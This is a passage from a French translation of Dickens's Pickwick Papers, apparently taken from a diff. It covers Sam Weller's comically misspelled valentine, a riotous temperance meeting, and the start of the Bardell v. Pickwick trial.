+--Pourquoi ne le regardes-tu pas alors?
+
+--C'est ce que je fais, mais il y a un autre pâté. Il y a un s et un i
+et un r.
+
+--Circonscrit, peut-être? suggéra M. Weller.
+
+--Non ce n'est pas cela. Sirconvenu voilà.
+
+--Ça n'est pas un aussi beau mot que circonscrit, dit M. Weller
+gravement.
+
+--Vous croyez?
+
+--Sûr et certain.
+
+--Vous ne trouvez pas que ça dit plus de choses?
+
+--Eh! Eh! fit M. Weller après un moment de réflexion. C'est peut-être un
+mot plus tendre. Va toujours, Sammy.»
+
+«--Mon coeur est joliment tonteux et sirconvenu quant je me rat pelle de
+vous, car vous êtes un joli brain de fille, et je voudrais bien qu'on
+vint me dire le contraire....»
+
+«Voilà une belle pensée, dit M. Weller, en ôtant sa pipe, pour laisser
+sortir cette remarque.
+
+--Oui, je crois qu'elle n'est pas mauvaise, répondit son fils,
+singulièrement flatté.
+
+--Ce que j'aime dans ton style, c'est que tu ne donnes pas un tas de
+noms aux gens; tu n'y mets pas de Vénus, ni d'autres machines de ce
+genre-là. À quoi sert d'appeler une jeune femme une Vénus ou un ange,
+Sammy?
+
+--Ah! oui, à quoi bon!
+
+--Pourquoi ne pas l'appeler tout de suite _griffon_ ou _licorne_, qu'est
+bien connu pour être des animaux métaphysiques.
+
+--Ça vaudrait tout autant.
+
+--Roulez toujours, Sammy.»
+
+Sam obéit, et continua à lire, tandis que son père continuait à fumer,
+avec une physionomie de sagesse et de contentement tout à fait
+édifiante.
+
+«--Avent de vous havoir vu je pansais que toute les fames fucent
+pareils....»
+
+«Elles le sont,» fit observer M. Weller, entre parenthèses.
+
+«Mai maintenant je vois quel fichu bêtte de corps nid chond j'ai zété,
+car il nid a pas dent tout le monde une pèrresone come vous quoi que je
+vous ême come tout!»
+
+«J'ai pensé que je ferais bien de mettre cela un peu fort,» dit Sam en
+levant la tête.
+
+M. Weller fit un signe approbatif, et son fils poursuivit:
+
+«In scie je prrends le privilaije du jour, ma chair Mary, come dit le
+genman dent l'embarrat, qui ne sortais que la nuit pour vous dire que la
+1ère et leunnuque foie que je vous et vu vot porterait et aimprimé dent
+mont cueur en couleur ben pus vive et ben pus vitte qu'y ni a jamet eu
+dé portret fait par la machinne à porfil (don vous avet peu taître
+entendu parler ma chair Mary) qui fabrique le porttrait et met le quadre
+avec un annot ô boue pour la crocher en 2 minutes un cart.»
+
+«J'ai peur que ça ne frise le poétique, fit observer M. Weller d'un air
+dubitatif.
+
+--Pas du tout,» répondit Sam, en recommençant promptement à lire pour
+éviter toute discussion.
+
+«Acceptez moi Mary ma chair pour votre Valentin et panset à se que je
+vous et dit. Ma chair Mary je vais conclure maintenan.--Voilà tout.»
+
+«Ça s'arrête un peu court, il me semble, Sammy
+
+--Pas du tout. Elle souhaitera qu'il y en ait plus long; et voilà le
+grand art d'écrire des lettres!
+
+--Eh! ben, i' y a qué'que chose là dedans. Je voudrais seulement que te
+belle-mère conduise sa conversation sur ce principe ici. Est-ce que vous
+n'allez pas signer.
+
+--C'est la difficulté, ça. Je ne sais pas ce que je vas signer.
+
+--Signe: _Weller_, dit le vieux propriétaire de ce nom.
+
+--Ça n'ira pas: il ne faut jamais signer un Valentin avec son propre
+nom.
+
+--Signe: _Pickwick_ alors, c'est un très-bon nom et facile à épeler.
+
+--Voilà l'affaire. Si je finissais par des verses, hein?
+
+--Je n'aime pas ça, mon garçon; je n'ai jamais connu un respectable
+cocher qu'a écrit de la poésie, excepté un qu'a fait un morceau de
+verses attendrissant, le jour avant qu'il a été pendu, pour un vol de
+grand chemin, et encore c'était seulement un homme de Cambervell. Ainsi
+ça ne compte pas.»
+
+Cependant Sam ne put être dissuadé de l'idée poétique qui lui était
+survenue, il signa donc sa lettre ainsi qu'il suit:
+
+    L'amour me pique,
+    Piquewique.
+
+Ayant ensuite fermé son épître d'une manière très-compliquée, il y mit
+obliquement l'adresse:
+
+_Miss Mary fam de chambre ché monsieur Nupkins mère à Ipswick Suffolk._
+Puis après l'avoir cachetée il la fourra dans sa poche, toute prête pour
+la poste.
+
+Cette importante affaire étant terminée, M. Weller _senior_ commença à
+développer celle pour laquelle il avait convoqué son héritier.
+
+«La première histoire regarde ton gouverneur, Sammy, lui dit-il. Il va
+être jugé demain, n'est-il pas vrai?
+
+--Sûr comme ache.
+
+--Eh bien! je suppose qu'il aura besoin de qué'ques témoins pour jurer
+ses moeurs, ou bien peut-être pour prouver un allébi. J'ai retourné tout
+cela dans ma tête, et y peut se tranquilliser, Sammy. J'ai ramassé
+qué'ques amis qui feront son affaire, pour les deux choses. Mais voilà
+mon avis à moi. Vous inquiétez pas des moeurs, et raccrochez vous à
+l'allébi. Rien comme un allébi, Sammy, rien.»
+
+Ayant délivré cette opinion légale d'un air singulièrement profond, M.
+Weller ensevelit son nez dans son verre, et fit par-dessus le bord de
+rapides clins d'oeil à son fils étonné.
+
+«Qu'est-ce que vous voulez dire? demanda celui-ci. Est-ce que vous vous
+imaginez qu'il va passer en cour d'assises?
+
+--Ça ne fait rien à l'affaire, Sammy. N'importe où ce qui sera jugé, mon
+garçon; un allébi voilà la chose. Nous avons sauvé Tom Wildspark d'un
+meurtre, avec un allébi, quand toutes les grosses perruques disaient
+que rien ne pouvait le tirer d'affaire. Et vois-tu, Sammy, mon opinion
+est que si ton gouverneur ne prouve pas un allébi, il se trouvera
+couronné des deux jambes.»
+
+Comme M. Weller entretenait la conviction ferme et inaltérable que le
+_Old Bailey_ était la cour suprême de judicature de l'Angleterre, et que
+ses formes de procédure réglaient toutes les autres cours de justice
+sans exception, il n'écouta en aucune manière les assurances et les
+arguments de son fils pour lui prouver que l'alibi était inadmissible;
+mais il continua à protester avec véhémence que M. Pickwick allait être
+_victimisé_. Trouvant qu'il était inutile de discuter davantage cette
+matière, Sam changea de sujet, et demanda quel était le second topique,
+sur lequel son vénérable parent désirait le consulter.
+
+«C'est un point de politique domestique, Sammy, répondit celui-ci. Tu
+sais bien ce Stiggins?
+
+--L'homme au nez rouge?
+
+--Le même. Cet homme au nez rouge, Sammy, visite ta belle-mère avec une
+bonté et une constance comme je n'en ai jamais vu. Il aime tant notre
+famille que, quand il s'en va, il ne peut pas être confortable, à moins
+qu'il n'emporte qué'que chose pour se souvenir de nous.
+
+--Et si j'étais que de vous, interrompit Sam, je lui donnerais qué'que
+chose qu'il s'en souviendrait pendant dix ans.
+
+--Une minute: j'allais te dire qu'à présent il apporte toujours une
+bouteille plate, qui tient à peu près une pinte et demie, et qu'avant de
+s'en aller il la remplit soigneusement avec notre rhum.
+
+--Et il la vide toujours avant de revenir, je suppose?
+
+--Juste, il n'y laisse rien que le bouchon et l'odeur. Fie-toi à lui
+pour cela, Sammy. Maintenant, mon garçon, ces gaillards ici vont tenir
+ce soir l'assemblée mensuelle de la branche de _Brick-Lane_ de la grande
+union _Ebenezer_, à l'association de Tempérance. Ta belle-mère était
+pour y aller Sammy, mais elle a attrapé le rhumatique, et elle ne peut
+pas; et moi j'ai attrapé les deux billets qu'on y avait envoyés.»
+
+M. Weller communiqua ce secret avec une immense jouissance, et ensuite
+se mit à cligner de l'oeil, si infatigablement que Sam commença à penser
+qu'il avait le tic douloureux dans la paupière droite.
+
+«Eh bien! dit le jeune gentleman.
+
+--Eh bien! continua son père en regardant avec précaution autour de
+lui, nous irons ensemble, ponctuels à l'heure, Sammy. Le substitut du
+berger ne le sera pas! Le substitut du berger ne le sera pas!»
+
+Ici M. Weller fut saisi d'un paroxysme de ricanement qui s'approcha
+graduellement de la suffocation, autant que cela se peut chez un vieux
+gentleman, sans amener d'accident. Pendant ce temps, Sam frottait le dos
+de son père, assez vivement pour l'enflammer par la friction, s'il eût
+été un peu plus sec.
+
+«Vraiment, dit-il, je n'ai jamais vu un vieux revenant comme ça de mes
+jours, ni de ma vie. Qu'est-ce que vous avez donc à rire, corpulence?
+
+--Chut! Sammy, répondit M. Weller, en regardant autour de lui, avec
+encore plus de défiance, et en parlant à voix basse. Deux de mes amis,
+qui travaillent sur la route d'Oxford, et qu'est fameux pour toutes
+sortes de farces, ont pris le substitut du berger à la remorque, et
+quand il viendra à la grande union Ebenezer (ce qu'il est bien sûr de
+faire, car ils le reconduiront jusqu'à la porte, et ils le feront
+monter, bon gré malgré, si c'est nécessaire), il sera embourbé dans le
+rhum aussi fort qu'il l'a jamais été au marquis de Granby, et c'est pas
+peu dire.»
+
+Ici, M. Weller recommença à rire immodérément, et en conséquence retomba
+sur nouveaux frais dans un état de suffocation partielle.
+
+Rien ne pouvait mieux s'accorder avec les idées de Sam que le projet de
+démasquer les penchants et les qualités réelles de l'homme au nez rouge.
+L'heure désignée pour la réunion approchant, le père et le fils se
+dirigèrent immédiatement vers Brick-Lane, et pendant le chemin Sam
+n'oublia pas de jeter sa lettre à la poste.
+
+L'assemblée mensuelle de la branche de l'Association de Tempérance de
+_Brick-Lane_, embranchement de la grande union _Ebenezer_, se tenait
+dans une vaste chambre, située d'une manière agréable et aérée au sommet
+d'une échelle sûre et commode. Le président était le juste M. Anthony
+Humm, pompier converti, maintenant maître d'école, et occasionnellement
+prédicant-voyageur. Le secrétaire était M. Jonas Mudge, garçon
+chandelier, vase d'enthousiasme et de désintéressement, qui vendait du
+thé aux membres de l'association. Préalablement au commencement des
+opérations, les dames étaient assises sur des tabourets et buvaient du
+thé, aussi longtemps qu'elles croyaient pouvoir le faire, tandis qu'une
+large tirelire de bois était placée en évidence sur le tapis vert du
+bureau, derrière lequel le secrétaire se tenait debout, reconnaissant
+par un gracieux sourire, chaque addition à la riche veine de cuivre que
+la botte renfermait dans ses flancs.
+
+Dans la présente occasion, les dames commencèrent par boire une quantité
+de thé presque alarmante, à la grande horreur de M. Weller qui,
+méprisant les signes de Sam, promenait autour de lui des regards où
+pouvaient se lire, avec facilité, son étonnement et son mépris.
+
+«Sammy, murmura-t-il à son fils, si qué'ques uns de ces gens ici n'ont
+pas besoin d'être opérés pour l'hydropisie, demain matin, je ne suis pas
+ton père! Vois-tu cette vieille lady, assise auprès de moi? elle se noie
+avec du thé.
+
+--Est-ce que vous ne pouvez pas vous tenir tranquille? chuchota Sam.
+
+--Sammy, reprit M. Weller au bout d'un moment et avec un accent
+d'agitation profonde, fais attention à ce que je te dis, mon garçon; si
+ce secrétaire continue encore cinq minutes, il va crever à force
+d'avaler des rôties et de l'eau chaude.
+
+--Eh bien! laissez-le, si ça lui fait plaisir. Ce n'est pas votre
+affaire.
+
+--Si ça dure plus longtemps, Sammy, poursuivit M. Weller à voix basse,
+je sens que c'est mon devoir comme homme et comme chrétien, de me lever
+et d'adresser qué'ques paroles au président. Il y a là une jeune femme,
+au troisième tabouret, qui a bu neuf tasses et demie; je la vois qui
+gonfle visiblement à l'oeil nu.»
+
+Il n'y a nul doute que M. Weller eût exécuté ses bienveillantes
+intentions, si un grand bruit, occasionné par le choc des tasses,
+n'avait pas heureusement annoncé que le thé était terminé. La faïence
+ayant été enlevée et la table à la serge verte apportée au centre de la
+chambre, les opérations de la soirée furent entamées par un petit homme
+chauve, en culotte de velours de coton, qui grimpa soudainement à
+l'échelle, au hasard imminent de briser ses jambes maigrelettes.
+
+«Ladies et gentlemen, dit le petit homme chauve, je porte au fauteuil
+notre excellent frère, M. Anthony Humm.»
+
+À cette proposition les dames agitèrent une élégante collection de
+mouchoirs, et l'impétueux petit homme porta littéralement au fauteuil
+M. Humm, en le prenant par les épaules et le poussant vers un ustensile
+d'acajou, qui avait autrefois représenté cette pièce d'ameublement.
+L'agitation des mouchoirs fut renouvelée, et M. Humm, qui avait un
+visage blafard et luisant, en état de transpiration perpétuelle, salua
+gracieusement l'assemblée, à la grande admiration des femelles, et prit
+gravement son siége. Le silence fut alors réclamé par le petit homme,
+puis M. Humm se leva, et dit qu'avec la permission des frères et des
+soeurs de la branche de _Brick-Lane_, alors présents, le secrétaire
+lirait le rapport du comité de la branche de _Brick-Lane_, proposition
+qui fut encore accueillie par un trépignement de mouchoirs.
+
+Le secrétaire ayant éternué d'une manière très-expressive, et la toux
+qui saisit toujours une assemblée, quand il va se passer quelque chose
+d'intéressant, ayant eu son cours régulier, on entendit la lecture du
+document suivant:
+
+_Rapport du Comité de la Branche de Brick-Lane de la Grande Union
+Ebenezer de l'Association de Tempérance._
+
+«Votre comité a poursuivi ses agréables travaux, durant le mois passé,
+et a l'inexprimable plaisir de vous rapporter les cas suivants de
+nouveaux convertis à la tempérance.
+
+«M. Walker, tailleur, sa femme et ses deux enfants. Quand il était plus
+à son aise, il confesse qu'il avait l'habitude de boire de l'ale et de
+la bière. Il dit qu'il n'est pas certain s'il n'a pas siroté pendant
+vingt ans, deux fois par semaines, du _nez de chien_, que votre comité
+trouve, sur enquête, être composé de porter chaud, de cassonade, de
+genièvre et de muscade. (Ici une femme âgée pousse un gémissement en
+s'écriant: c'est vrai!) Il est maintenant sans ouvrage et sans argent;
+il pense que ce doit être la faute du porter (applaudissements) ou la
+perte de l'usage de sa main droite; il ne peut pas dire lequel des deux,
+mais il regarde comme très-probable que s'il n'avait bu que de l'eau
+toute sa vie, son camarade ne l'aurait pas piqué avec une aiguille
+rouillée, ce qui a occasionné son accident (immenses applaudissements).
+Il n'a plus rien à boire que de l'eau claire, et ne se sent jamais
+altéré (grands applaudissements).
+
+«Betzy Martin, veuve, n'a qu'un enfant et qu'un oeil, va en journée
+comme femme de ménage et blanchisseuse: n'a jamais et qu'un oeil, mais
+sait que sa mère buvait solidement, ne serait pas étonnée si cela en
+était la cause (terribles applaudissements). Ne regarde pas comme
+impossible qu'elle eût deux yeux maintenant, si elle s'était toujours
+abstenue de spiritueux (applaudissements formidables). Était habituée à
+recevoir par jour _1 shilling et 6 pence_, une pinte de porter et un
+verre d'eau-de-vie, mais depuis qu'elle est devenue membre de la branche
+de _Brick-Lane_ elle demande toujours à la place _3 shillings et 6
+pence_ (l'annonce de ce fait intéressant est reçue avec le plus
+étourdissant enthousiasme).
+
+«Henry Beller a été pendant nombre d'années maître d'hôtel pour
+différents dîners de corporations. En ce temps-là il buvait une grande
+quantité de vins étrangers. Il en a peut-être emporté quelque fois une
+bouteille ou deux chez lui. Il n'est pas tout à fait certain de cela,
+mais il est sûr que s'il les a emportées, il en a bu le contenu. Il se
+trouve très-mal disposé et mélancolique, est agité la nuit et éprouve
+une soif continuelle. Il pense que ce doit être le vin qu'il avait
+l'habitude de boire (applaudissements). Il est sans emploi maintenant,
+et ne tâte jamais une seule goutte de vins étrangers (applaudissements
+épouvantables).
+
+«Thomas Burten, marchand de mou du lord maire, des schérifs et de
+plusieurs membres du Common council (le nom de ce gentleman est entendu
+avec un intérêt saisissant). Il a une jambe de bois: il trouve qu'une
+jambe de bois coûte bien cher quand on marche sur le pavé. Il avait
+l'habitude d'acheter des jambes de bois d'occasion, et buvait
+régulièrement chaque soir un verre d'eau et de genièvre chaud;
+quelquefois deux (profonds soupirs). Il s'est aperçu que les jambes
+d'occasion se fendaient et se pourrissaient très-promptement; il est
+fermement persuadé que leur constitution était minée par l'eau et le
+genièvre (applaudissements prolongés). Il achète maintenant des jambes
+de bois neuves, et ne boit rien que de l'eau et du thé léger. Les
+nouvelles jambes de bois durent deux fois aussi longtemps que les
+anciennes, et il attribue cela uniquement à ses habitudes de tempérance
+(applaudissements triomphants).»
+
+Après cette lecture, Anthony Humm proposa à l'assemblée de se régaler
+d'une chanson. Il l'invita à se joindre à lui pour chanter les paroles
+du joyeux batelier, adaptées à l'air du centième psaume par le frère
+Mordlin, en vue de favoriser les jouissances morales et rationnelles de
+la société (grands applaudissements). M. Anthony Humm saisit cette
+opportunité d'exprimer sa ferme persuasion que feu M. Dibdin[7],
+reconnaissant les erreurs de sa jeunesse, avait écrit cette chanson
+pour montrer les avantages de l'abstinence. «C'est une chanson de
+tempérance (tourbillon d'applaudissements). La propreté du costume de
+l'intéressant jeune homme, son habileté, comme rameur, la désirable
+disposition d'esprit qui lui permettait, suivant la belle expression du
+poëte, de ramer tout le jour en ne pensant à rien; tout se réunit pour
+prouver qu'il devait être buveur d'eau (applaudissements). Oh! quel état
+de vertueuses jouissances (applaudissements enthousiastes)! et quelle
+fut la récompense du jeune homme! que tous les jeunes gens présents
+remarquent ceci:
+
+[Footnote 7: Auteur de chansons célèbres.]
+
+«Les jeunes filles s'empressaient d'entrer dans son bateau (bruyants
+applaudissements, surtout parmi les dames). Quel brillant exemple! Les
+jeunes filles se pressant autour du jeune batelier et l'escortant dans
+le sentier du devoir et de la tempérance. Mais étaient-ce seulement les
+jeunes filles de bas étage, qui le soignaient, qui le consolaient, qui
+le soutenaient? Non!
+
+    Il était le rameur chéri
+    Des plus belles dames du monde.
+
+(Immenses applaudissements). Le doux sexe se ralliait comme un seul
+homme.... Mille pardons, comme une seule femme... autour du jeune
+batelier, et se détournait avec dégoût des buveurs de spiritueux
+(applaudissements). Les frères de la _Branche de Brick-Lane_ sont des
+bateliers d'eau douce (applaudissements et rires). Cette chambre est
+leur bateau; cette audience représente les jeunes filles, et l'orateur,
+quoique indigne, est leur rameur chéri (applaudissements frénétiques et
+interminables).»
+
+«Sammy, qu'est-ce qui veut dire par le _doux sexe_? demanda M. Weller à
+voix basse.
+
+--La femme, répondit Sam du même ton.
+
+--Pour ça, il n'a pas tort; faut qu'elle soit joliment _douce_ pour se
+laisser plumer par des olibrius comme ça.»
+
+Les observations mordantes du vieux gentleman furent interrompues par le
+commencement de la chanson que M. Anthony Humm psalmodiait, deux lignes
+par deux lignes, pour l'instruction de ceux de ses auditeurs qui ne
+connaissaient point la légende. Pendant qu'on chantait, le petit homme
+chauve disparut, mais il revint aussitôt que la chanson fut terminée,
+et parla bas à M. Anthony Humm avec un visage plein d'importance.
+
+«Mes amis, dit M. Humm en levant la main d'un air suppliant, pour faire
+taire quelques vieilles ladies qui étaient en arrière d'un vers ou deux;
+mes amis, un délégué de la branche de Dorking, de notre société, le
+frère Stiggins, est en bas.»
+
+Les mouchoirs s'agitèrent de nouveau et plus fort que jamais, car M.
+Stiggins était extrêmement populaire parmi les dames de _Brick-Lane_.
+
+«Il peut entrer, je pense, dit M. Humm en regardant autour de lui avec
+un sourire fixe. Frère Tadger, il peut venir auprès de nous et remplir
+sa mission.»
+
+Le petit homme chauve, qui répondait au nom de frère Tadger, dégringola
+l'échelle avec grande rapidité, puis immédiatement après, on l'entendit
+remonter avec le révérend M. Stiggins.
+
+«Le voilà qui vient, Sammy, chuchota M. Weller, dont le visage était
+pourpre d'une envie de rire supprimée.
+
+--Ne lui dites rien, répartit Sam, je ne pourrais pas me retenir. Il est
+près de la porte; je l'entends qui se cogne la tête contre la cloison.»
+
+Pendant que Sam parlait, la porte s'ouvrit et le frère Tadger parut,
+immédiatement suivi par le révérend M. Stiggins. L'entrée de celui-ci
+fut accueillie par des bravos, par des trépignements, par des agitations
+de mouchoirs. Mais, à toutes ces manifestations de délices, le frère
+Stiggins ne répondit pas un mot, se contentant de regarder avec un
+sourire hébété la chandelle qui fumait sur la table, et balançant en
+même temps son corps d'une manière irrégulière et alarmante.
+
+«Est-ce que vous n'allez pas bien, frère Stiggins? lui dit tout bas M.
+Anthony Humm.
+
+--Je vais très-bien, monsieur, répliqua M. Stiggins d'une voix aussi
+féroce que le permettait l'épaisseur de sa langue. Je vais parfaitement,
+monsieur.
+
+--Tant mieux, tant mieux, reprit M. Anthony Humm, en reculant de
+quelques pas.
+
+--J'espère que personne ici ne se permet de dire que je ne suis pas
+bien?
+
+--Oh! certainement non.
+
+--Je les engage à ne pas le dire, monsieur, je les y engage.»
+
+Tendant ce colloque, l'assemblée était restée parfaitement silencieuse,
+attendant avec une certaine anxiété la reprise de ses travaux
+ordinaires.
+
+«Frère, dit M. Humm avec un sourire engageant, voulez-vous édifier
+l'assemblée?
+
+--Non,» répliqua M. Stiggins.
+
+L'assemblée leva les yeux au ciel et un murmure d'étonnement parcourut
+la salle.
+
+«Monsieur, dit M. Stiggins, en déboutonnant son habit, et en parlant
+très-haut; j'ai dans l'opinion que cette assemblée s'est honteusement
+soûlée.--Frère Tadger, continua-t-il avec une férocité croissante, et en
+se tournant brusquement vers le petit homme chauve; vous êtes soûl,
+monsieur.»
+
+En disant ces mots, M. Stiggins dans le louable dessein d'encourager la
+sobriété de rassemblée, et d'en exclure toute personne indigne, lança
+sur le nez de frère Tadger un coup de poing, si bien appliqué, que le
+petit secrétaire disparut en un clin d'oeil. Il avait été précipité la
+tête première en bas de l'échelle.
+
+À ce mouvement oratoire, tes femmes poussèrent des cris déchirants, et
+se précipitant par petits groupes autour de leurs frères favoris, les
+entourèrent de leurs bras pour les préserver du danger. Cette preuve
+d'affection touchante devint presque fatale au frère Humm, car il était
+extrêmement populaire, et il s'en fallut de peu qu'il ne fût étouffé par
+la foule des séïdes femelles qui se pendirent à son cou, et
+l'accablèrent de leurs caresses. La plus grande partie des lumières
+furent promptement éteintes, et l'on n'entendit plus, de toutes parts,
+qu'un tumulte épouvantable.
+
+«Maintenant, Sammy, dit M. Weller en ôtant sa redingote d'un air
+délibéré, allez-vous-en me chercher un watchman.
+
+--Et qu'est-ce donc que vous allez faire, en attendant?
+
+--Ne vous inquiétez pas de moi, Sammy; je vas m'occuper à régler un
+petit compte avec ce Stiggins ici.»
+
+Ayant ainsi parlé, et avant que Sam pût le retenir, l'héroïque vieillard
+pénétra dans le coin de la chambre où se trouvait le révérend M.
+Stiggins, et l'attaqua avec une admirable dextérité.
+
+«Venez-vous-en, dit Sam.
+
+--Avancez donc!» s'écria M. Weller, et sans autre avertissement, il
+administra au révérend M. Stiggins une tape sur la tête, puis se mit à
+danser autour de lui, avec une légèreté parfaitement admirable chez un
+gentleman de cet âge.»
+
+Voyant que ses remontrances étaient inutiles, Sam enfonça solidement
+son chapeau, jeta sur son bras l'habit de son père, et saisissant le
+gros cocher par la ceinture, l'entraîna de force le long de l'échelle,
+et de là dans la rue, sans le lâcher, et sans lui permettre de
+s'arrêter. Comme ils arrivaient au carrefour, ils entendirent le tumulte
+occasionné par la dispersion, dans différentes directions, des membres
+la branche de _Brick-Lane_ de la grande union d'_Ebenezer_ à
+l'association de Tempérance, et virent bientôt après passer le révérend
+M. Stiggins, que l'on emmenait parmi les huées de la populace, afin de
+lui faire passer la nuit dans un logement fourni par la cité.
+
+
+
+
+CHAPITRE V.
+
+Entièrement consacré au compte-rendu complet et fidèle du mémorable
+procès de Bardell contre Pickwick.
+
+
+«Je voudrais bien savoir ce que le chef du jury peut avoir mangé ce
+matin à son déjeuner, dit M. Snodgrass par manière de conversation, dans
+la mémorable matinée du 14 février.
+
+--Ah! répondit M. Perker, j'espère qu'il a fait un bon déjeuner.
+
+--Pourquoi cela? demanda M. Pickwick.
+
+--C'est fort important, extrêmement important, mon cher monsieur. Un bon
+jury satisfait, qui a bien déjeûné, est une chose capitale pour nous.
+Des jurés mécontents ou affamés, sont toujours pour le plaignant.
+
+--Au nom du ciel, dit M. Pickwick, d'un air de complète stupéfaction,
+quelle est la cause de tout cela?
+
+--Ma foi, je n'en sais rien, répondit froidement le petit homme, c'est
+pour aller plus vite, je suppose.» Quand le jury s'est retiré dans la
+chambre des délibérations, si l'heure du dîner est proche, le chef des
+jurés tire sa montre, et dit:
+
+«Juste ciel! gentlemen, déjà cinq heures moins dix, et je dîné à cinq
+heures!--Moi aussi,» disent tous les autres, excepté deux individus qui
+auraient dû dîner à trois heures, et qui en conséquence sont encore plus
+pressés de sortir. Le chef des jurés sourit et remet sa montre. «Eh
+bien! gentlemen, qu'est-ce que nous disons? Le plaignant ou le
+défendant, gentlemen! Je suis disposé à croire, quant à moi.... Mais que
+cela ne vous influence pas.... Je suis assez disposé à croire que
+plaignant a raison.» Là-dessus deux ou trois autres jurés ne manquent
+pas de dire qu'ils le croient aussi, comme c'est naturel; et alors ils
+font leur affaire unanimement et confortablement. «Neuf heures dix
+minutes, continua le petit homme en regardant à sa montre, il est
+grandement temps de partir, mon cher monsieur. La cour est ordinairement
+pleine quand il s'agit d'une violation de promesse de mariage. Vous
+ferez bien de demander une voiture, mon cher monsieur, ou nous
+arriverons trop tard.»
+
+M. Pickwick tira immédiatement la sonnette; une voiture fut amenée, et
+les quatre Pickwickiens y étant montés, avec M. Perker, se firent
+conduire à Guildball. Sam Weller, M. Lowten et le sac bleu, contenant la
+procédure, suivaient dans un cabriolet.
+
+«Lowten, dit Perker, quand ils eurent atteint la salle des pas perdus,
+mettez les amis de M. Pickwick dans la tribune des stagiaires; M.
+Pickwick lui-même sera mieux auprès de moi.
+
+--Par ici, mon cher monsieur, par ici.» En parlant de la sorte, le petit
+homme prit M. Pickwick par la manche et le conduisit vers un siége peu
+élevé, situé au-dessous du bureau du conseil du roi. De là, les avoués
+peuvent commodément chuchoter, dans l'oreille des avocats, les
+instructions que la marche du procès rend nécessaires. Ils y sont
+d'ailleurs invisibles au plus grand nombre des spectateurs, car ils sont
+assis beaucoup plus bas que les avocats et que les jurés, dont les
+siéges dominent le parquet. Naturellement ils leur tournent le dos, et
+regardent le juge.
+
+«Voici la tribune des témoins, je suppose? dit M. Pickwick, en montrant,
+à sa gauche, une espèce de chaire, entourée d'une balustrade de cuivre.
+
+--Oui, mon cher monsieur, répliqua Perker en extrayant une quantité de
+papiers du sac bleu que Lowten venait de déposer à ses pieds.
+
+--Et là, dit M. Pickwick en indiquant, sur sa droite, une couple de
+bancs, enfermés d'une balustrade, là siégent les jurés, n'est-il pas
+vrai?
+
+--Précisément,» répondit Perker, en tapant sur le couvercle de sa
+tabatière.
+
+Ainsi renseigné, M. Pickwick se tint debout dans un état de grande
+agitation, et promena ses regarda sur la salle.
+
+Il y avait déjà, dans la galerie, un flot assez épais de spectateurs, et
+sur le siége des avocats, une nombreuse collection de gentlemen en
+perruque, dont la réunion présentait cette étonnante et agréable variété
+de nez et de favoris, pour laquelle le barreau anglais est si justement
+célèbre. Parmi ces gentlemen, ceux qui possédaient un dossier le
+tenaient de la manière la plus visible possible, et de temps en temps
+s'en frottaient le menton, pour convaincre davantage les spectateurs de
+la réalité de ce fait. Quelques-uns de ceux qui n'avaient aucun dossier
+à montrer, portaient sous leurs bras de bons gros in-octavo, reliés en
+basane fauve à titres rouges. D'autres qui n'avaient ni diplômes ni
+livres, fourraient leurs mains dans leurs poches et prenaient un air
+aussi important qu'ils le pouvaient, sans s'incommoder; tandis que
+d'autres encore, allaient et venaient avec une mine suffisante et
+affairée, satisfaits d'éveiller, de la sorte, l'admiration des étrangers
+non initiés. Enfin, au grand étonnement de M. Pickwick, ils étaient tous
+divisés en petits groupes, et causaient des nouvelles du jour, avec la
+tranquillité la plus parfaite, comme s'il n'avait jamais été question de
+jugement.
+
+Un salut de M. Phunky, lorsqu'il entra pour prendre sa place, derrière
+le banc réservé au conseil du roi, attira l'attention de M. Pickwick. À
+peine lui avait-il rendu sa politesse, lorsque Me Snubbin parut, suivi
+par M. Mallard, qui déposa sur la table un immense sac cramoisi, donna
+une poignée de main à M. Perker, et se retira. Ensuite entrèrent deux ou
+trois autres avocats, et parmi eux un homme au teint rubicond, qui fit
+un signe de tête amical à Me Snubbin, et lui dit que la matinée était
+belle.
+
+«Quel est cet homme rubicond, qui vient de saluer notre conseil, et de
+lui dire que la matinée est belle? demanda tout bas M. Pickwick à son
+avoué.
+
+--C'est Me Buzfuz, l'avocat de notre adversaire. Ce gentleman placé
+derrière lui, est M. Skimpin, son junior.»
+
+M. Pickwick, rempli d'horreur, en apprenant la froide scélératesse de
+cet homme, allait demander comment Me Buzfuz, qui était l'avocat de son
+adverse partie, osait se permettre de dire, à son propre avocat, qu'il
+faisait une belle matinée, quand il fut interrompu par un long cri de:
+_silence!_ que poussèrent les officiers de la cour, et au bruit duquel
+se levèrent tous les avocats. M. Pickwick se retourna, et s'aperçut que
+ce tumulte était causé par l'entrée du juge.
+
+M. le juge Stareleigh (qui siégeait en l'absence du chef-justice,
+empêché par indisposition), était un homme remarquablement court, et si
+gros qu'il semblait tout visage et tout gilet. Il roula dans la salle
+sur deux petites jambes cagneuses, et ayant salué gravement le barreau,
+qui le salua gravement à son tour, il mit ses deux petites jambes sous
+la table, et son petit chapeau à trois cornes, dessus. Lorsque M. le
+juge Stareleigh eut fait cela, tout ce qu'on pouvait voir de lui
+c'étaient deux petits yeux fort drôles, une large face écarlate, et
+environ la moitié d'une grande perruque très-comique.
+
+Aussitôt que le juge eut pris son siége, l'huissier qui se tenait debout
+sur le parquet de la cour, cria: _silence!_ d'un ton de commandement, un
+autre huissier dans la galerie répéta immédiatement: _silence!_ d'une
+voix colérique, et trois ou quatre autres huissiers lui répondirent avec
+indignation: _silence!_ Ceci étant accompli, un gentleman en noir, assis
+au-dessous du juge, appela les noms des jurés. Après beaucoup de
+hurlements, on découvrit qu'il n'y avait que dix jurés spéciaux qui
+fussent présents. Me Buzfuz ayant alors demandé que le jury spécial fût
+complété par des _tales quales_, le gentleman en noir s'empara
+immédiatement de deux jurés ordinaires, à savoir un apothicaire et un
+épicier.
+
+«Gentlemen, dit l'homme en noir, répondez à votre nom pour prêter le
+serment. Richard Upwitch?
+
+--Voilà, répondit l'épicier.
+
+--Thomas Groffin?
+
+--Présent, dit l'apothicaire.
+
+--Prenez le livre, gentlemen. Vous jugerez fidèlement et loyalement....
+
+--Je demande pardon à la cour, interrompit l'apothicaire, qui était
+grand, maigre et jaune, mais j'espère que la cour ne m'obligera pas à
+siéger.
+
+--Et pourquoi cela, monsieur? dit le juge Stareleigh.
+
+--Je n'ai pas de garçon, milord, répondit l'apothicaire.
+
+--Je n'y peux rien, monsieur. Vous devriez en avoir un.
+
+--Je n'en ai pas le moyen, milord.
+
+--Eh bien! monsieur, vous devriez en avoir le moyen, rétorqua le juge en
+devenant rouge, car son tempérament frisait l'irritable et ne supportait
+point la contradiction.
+
+--Je sais que je devrais en avoir le moyen, si je prospérais comme je
